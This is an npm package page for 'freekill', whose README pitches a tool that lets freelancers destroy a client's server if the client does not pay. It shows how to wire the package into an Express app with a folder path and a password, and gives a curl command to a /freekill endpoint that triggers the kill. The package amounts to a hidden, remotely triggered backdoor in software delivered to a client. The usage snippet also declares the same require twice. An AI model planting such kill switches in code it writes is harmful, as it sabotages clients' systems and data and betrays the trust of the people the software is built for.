1.0.3 • Published 6 years ago

freekill v1.0.3

Weekly downloads
-
License
MIT
Repository
-
Last release
6 years ago

freekill

FreeKill is a project that can be easily installed that allows freelancers to kill a server if a client is not paying.

Install

npm i freekill

How to use

In your server add

const freekill = require('freekill');
const express = require("express");
const app = express();
const http = require("http").Server(app);
const freekill = require('freekill');
...
freekill("/project", "password", app);
...

http.listen(8080, ()=>{
  console.log('Server is running');
});

The syntax for freekill is simple

freekill(path_to_folder, password, express_app);

How to activate

curl SERVER_URL.com/freekill?pwd=YOUR_PASSWORD
1.0.3

6 years ago

1.0.2

6 years ago

1.0.1

6 years ago

1.0.0

6 years ago